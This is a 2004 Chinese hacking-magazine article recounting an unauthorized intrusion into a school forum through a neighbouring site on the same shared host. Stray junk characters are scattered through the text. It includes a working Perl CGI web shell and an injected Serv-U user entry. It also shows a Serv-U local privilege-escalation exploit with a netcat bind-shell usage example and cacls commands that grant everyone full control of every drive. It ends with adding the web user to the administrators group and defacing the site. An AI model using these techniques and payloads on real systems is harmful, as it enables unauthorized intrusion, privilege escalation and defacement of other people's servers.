剑走偏锋——灵巧的旁注攻击 2 ?6 P' s$ N8 N
本文作者:angel
' {/ W2 A' ~5 I+ K5 k; v文章性质:原创
! L; F$ o2 `, v0 @; c- U: M y发布日期:2004-11-09 ( N. w) \' n1 R+ A0 M' B
注意:7 P3 z s/ f+ v2 l A+ q
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。7 b+ l: a) u: ]9 ~" ^0 R* h
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
) I4 _. H. H# n! c5 t6 {/ E5 ~
/ F: b. m+ k* R/ O& P 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 3 u2 \2 Y# u8 l2 J
0 g7 k5 v. d( j9 i 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 6 w2 |- y$ P1 Y( v& ^% N$ ?: }
0 i2 a5 H) A# }1 m5 A
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 ! k* m' A: j6 K! ^0 o9 `
/ |% q/ Q( T( @' H
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
) Z' d0 r3 {9 \% n+ ]0 Q5 ?# h8 z( r9 t
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
2 j% W/ ?- O+ D1 ?& b
! ?& {2 N1 u2 I7 H 没有目的的跳转目录着……
0 T+ X6 y, i+ _" ?# S6 d' t' }& B: y+ ]% E) d& o
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
5 H3 O4 w w z5 t' b1 r( e, c$ ^2 k8 x
结束了吗?不,我试着 FTP 一下:
) i; m4 {# v1 H' h3 \
1 h* W1 J8 j. E8 dMicrosoft Windows 2000 [Version 5.00.2195]
& c* j* W' C$ g" s$ |5 r(C) 版权所有 1985-2000 Microsoft Corp. ( N. d1 f' q5 v& d# D, P
/ K; p7 X- B6 @3 l( ^
C:\Documents and Settings\Administrator>ftp www.school.com, F+ h4 O m6 Z* Q$ _" n
Connected to www. school.com.
9 N- s! h6 a6 T9 B, n) l: {220 Welcome to FTP Server...
' r+ r7 o. z- j+ U, v" OUser (www.bjtrq.com:(none)):
- Y3 v7 T* V3 \, | d$ G" r2 ?331 User name okay, need password.
) q1 V/ \' T# r+ @2 x) D, T6 a! D; Z6 HPassword: / f$ _* _: Y }, Z1 L+ I; ], d
530 Not logged in. 8 l& S1 ]* N7 a8 { B+ Z. z
Login failed. 0 \3 w3 B% ]* T+ N2 N) e9 c
ftp> bye * Z) ^# i) r3 A$ Q% i
221 Goodbye!
" z' E" Y6 b8 A+ T
5 }% ]" e6 W. C. A K4 t# n6 J( W6 C
; s* R; f9 e( \9 d# ?' u 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ' u, k% V3 r* x5 j" V" s5 d
2 o- C. ^4 s& ]0 z) M- j; {
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 , q4 V+ [: v) `& U
# v' C; q% l8 HApplication Data
- j7 g! V3 d4 X) R& \0 X- `Documents
5 ~) d" D' b7 ?3 qDRM y9 J1 C* v, T* w& A, L5 D% g7 D
Favorites
7 I3 V4 F0 W; n5 x' {' s UTemplates
# O* q' Y. d( M2 t0 _「开始」菜单
; l8 @; ]5 Y$ T0 y) |桌面
, ~) V; Y- D! r; Y $ s3 e9 n3 ]/ ], S! d
9 c6 s; |# R5 E
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 6 O1 D( T: J m* q
& W/ A9 }; r) A" [ActiveState ActivePerl 5.8
! V& V* `( K1 r4 q$ Y" ZAdministrative Tools) @7 H; z/ _5 M; w' i
Deerfield.com
6 n; A- {% d8 {" A/ HDTemp
! P* R0 c* z( ^8 ^/ \0 ?IPSentry
U/ x9 ^3 B4 ]( l* RMBM 5
( t2 f: Q* x" I' L& ]) LNetMeter! O, ?: h" N, k, y& U- C- Z
Network ICE2 c6 K6 }4 e% |" @
Persits Software AspEmail& L* r3 x1 E" @, d1 M5 Y# L" |
Persits Software AspJpeg
/ c9 l% X) y1 l9 ?1 \: o$ ]6 a" dServ-U FTP Server
. h2 k o$ y" Z5 F" oSymantec Client Security
2 I8 M) X3 |; M; j* QWindows 优化大师% Q1 ]7 v8 e+ G
WinRAR
( P8 y* h7 N) l T0 c" p# a启动" N% |) b! l* g, }! Z7 i
管理工具
1 c6 ?# V6 W8 q: g' U {/ V附件
\/ c" J! G3 e1 e; A: w " [* H0 ]; T4 e. I9 a
' {3 x/ }- w: B' E' I, ` 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 : X2 K6 ^# J7 J
7 P/ J% h/ d w- E2 Q 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: / l; p" K# B& Q3 z' N7 i
. v7 j! h7 o7 |# G) X, wUser281=angel|1|0 4 B/ V6 y G. s9 a
& Z4 j- {% [2 Y) ^. E) P3 N$ z* u/ _9 c
然后加上 ' H" Z. h# A/ V
. b, Y% [- v- J5 Z& P; u- o
[USER=angel|1]* Y1 R2 ?# f5 U) q. y) V e
Password=ng98F85379EA68DBF97BAADCA99B69B805
, }% c) o# M! a+ P6 |HomeDir=D:\websites
5 `7 u6 I: x3 x8 t9 GRelPaths=1- q3 N* h1 d- E4 Q" N* S* _
TimeOut=600
$ t7 i& h3 F# q# A$ ?Maintenance=System
8 G3 t3 L0 a- OAccess1=D:\websites|RWAMELCDP
; X) \1 U v: d$ C+ d/ a, rSKEYValues=* K( N4 S. m$ P) Q. O0 [9 l
4 a3 t4 I# E2 r& f
) M, A% w3 m# v% s E+ C: b* j 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… # e& K3 v- i: k X" F3 s2 o
2 ^- L8 Y) I) I6 d% R 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
* Z& \# v: {3 W4 ~/ j f9 H7 O$ l5 m* S, ]$ {* G2 G
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
% z& {+ r4 Y3 o! n+ R. I3 {9 @' D5 c' h
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: - {- V; w, L, z
: ], j! ]9 H1 c2 t6 P( W
#!/usr/bin/perl6 ?$ N& V1 q/ i! q9 L" C% Z5 D- ^
binmode(STDOUT);1 C! x3 x- `$ A# n
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
8 w9 L5 n& i& M+ ^ D; O& q- k& \$_ = $ENV{QUERY_STRING};0 U/ S F' z+ ]% j
s/%20/ /ig;
4 R+ C- m' I' `1 b# ^: _s/%2f/\//ig;% k; ]8 t- l" Q
$execthis = $_;
L2 G) L& h& P7 i) dsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
1 ^- `$ _$ o* q5 } w2 p+ ^open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
, e+ q' w9 |( Q# J* M9 X1 U2 Lsystem($execthis);( r# w- G' t M; z' ^2 M
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
+ b5 g/ X# d# t/ sclose(STDERR);/ J$ T& \6 C- a* o+ \8 [
close(STDOUT);3 e5 o* `8 y$ W1 z5 g) K
exit;3 r8 z4 `" Y( O% H l
7 |/ m4 R; m: `8 A3 S1 T- t' v# w6 i) P5 z& S/ q6 w
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! * Z# |8 p/ `$ T# _1 c1 a
3 h# ~- @) S5 p7 d1 Z0 _ w6 w 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
: N- z z7 p' Q6 {2 P3 v+ @' _, L- F) g6 P
http://anyhost//cmd.pl?d:\user\bin\su.exe . F% N/ V' h4 h8 _
2 w- w/ x! ?* X
4 q h9 k; r; Y, _. M s
返回:
, Y7 Z2 O, N/ K% d1 s" @9 g
3 v+ ^* [7 B& }3 rServ-u >3.x Local Exploit by xiaolu
7 i8 n! {" E j7 u% M9 U$ ~4 p3 L9 Y7 R; V6 b6 U+ i5 Q9 p, N
USAGE: serv-u.exe "command"
: c D8 l8 v4 s i
6 ]* H/ {2 F/ V$ A3 f- rExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
! V R) w) g) d7 e0 b $ {5 U. S' U3 y* h) q/ w
' l6 P8 C# d; K8 Y
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: " E7 }; n0 v! x
, o* I) t1 T) C) V: |) N& X( Dhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
$ V8 v5 a- Z3 ?) t) X4 R0 x) h& K4 w
6 Z/ _& B1 g* `, n+ z$ V, Uhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 9 j& M3 K5 D+ U$ Z; L
7 p6 ^1 x( j) S, I. E. u! ?http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
6 [1 i' y$ h# o
* _; R7 t- n* U n) [0 {% A9 y( thttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
! x1 L2 q4 \0 } # j- D# C7 ~0 H e- J
+ r; E9 x7 V* k6 q 返回下面的信息,就表示成功了!!! # H5 F5 M# K6 p+ ]5 ^+ o
9 H( g5 \1 E( M; M9 L
Serv-u >3.x Local Exploit by xiaolu 2 Q% j W! y6 k' ^
4 e1 v6 i/ ^5 Y( ]; G: J8 I; w* Y
<220 Serv-U FTP Server v5.2 for WinSock ready... 4 p8 _; K" t7 [. P
) A2 ~ E$ u! Z! a1 }
>USER LocalAdministrator
3 O* G' f* {# h7 s( G/ c) x
, [) [8 S' P- E<331 User name okay, need password.
% M9 V9 v6 \+ P5 q7 u
$ j9 r0 H8 F* B. ]) w- V****************************************************** * N. f! z6 W- d: p' r( K/ S, R4 r
G+ i8 ]$ T7 H0 s6 e4 g>PASS #l@$ak#.lk;0@P * x8 R$ {% U; {
3 c7 ^8 c- ~1 o: J<230 User logged in, proceed. " v" _; p- Q" F/ V: p6 H8 \: o; w4 H
3 l9 [- n( i- x( @; r! T****************************************************** 6 s% C" ~; h) F7 V* |0 C
* J" j( _& J$ \; H>SITE MAINTENANCE
3 E& m4 c+ [( ?0 |1 y% R
3 j( } m* N) p l******************************************************
X$ t' F" z; Q4 m/ r3 c; c% r- y' B: R1 }# I+ K+ [
[+] Creating New Domain...
4 k2 z) P( p- o0 N6 l4 @2 q6 B/ M' c; K# Y: n
<200-DomainID=2
/ o: R! v+ C9 p$ o A3 s ]4 T8 I2 b, C& J+ P8 }: F3 R
<220 Domain settings saved $ B; w) ]6 Q6 [
+ T* c% V; r' g% r, }******************************************************
; L% t& X- _( }& o9 e. T9 e7 L6 B3 n5 g/ A
[+] Domain xl:2 Created ; w9 _- f$ U- f
- i& W: {- s3 s3 }[+] Creating Evil User
' t# Q5 m0 p* J* J7 {! s
& o( s2 ^3 g9 u) H1 x! W' d<200-User=xl
$ n5 Y- W0 R# W0 Z3 Z& E8 t; i; z
200 User settings saved 0 w7 N; V/ b! e \! G
1 q3 ?8 F) I' I- U9 R7 \4 G5 S5 S****************************************************** 2 \( y& S7 F& o
! v8 _2 v8 v3 w( }$ }! L[+] Now Exploiting... , \& A% m l/ q0 J Q+ K
* {) r9 O: x1 V/ P! u$ f>USER xl
! H* o% O- N4 P7 J
; s1 t- d# f7 u" p# w) r1 `4 m& D<331 User name okay, need password.
8 k t5 H1 D* A4 S6 ?
, M+ a% Q/ A/ U****************************************************** & a x) |2 y/ s: O5 s4 h0 \ u( y
5 w9 E7 f, F2 R: m$ d2 A0 l
>PASS 111111
) e: k. @6 I' j* o# k. M) P2 n4 q. f" L& v
<230 User logged in, proceed. & O; ^9 X3 G/ m, @: J+ I
* \3 F3 t6 M V****************************************************** 3 [5 j/ q2 O0 r3 `
' D `, O- B5 y" U# Y0 g- L, z4 T
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
2 @' N4 J$ B8 W! a5 Z1 p" k( S
# p3 c; N; n. q) D" i6 u4 _/ ]<220 Domain deleted
# E, G) m9 Z% H2 S2 L- Y! W! G* ~& L9 a. L: P, ?' M; h) i# S
****************************************************** ' J1 l) f; v1 ?0 z
5 R2 c- f2 m8 _" x; {1 \4 d
" C/ ?/ d. y% G8 J! o! {. Q0 D! `
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 7 t5 ]5 {1 D) Z/ R9 i
% k7 g0 G: v' s3 l
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" - J( A; N! w! D+ }& s! m
' r4 W- _$ @0 c2 u3 A; `
- g# Q; V; U7 P4 C 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
7 G d9 |3 _$ U9 |$ ?: J/ Q7 u
& I$ }: f( {7 I, F 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
% X4 H$ T0 r t0 r0 z) ?( w/ @( @
{- x' m; v- o8 a 9 ~1 i6 }- E* I0 ?
|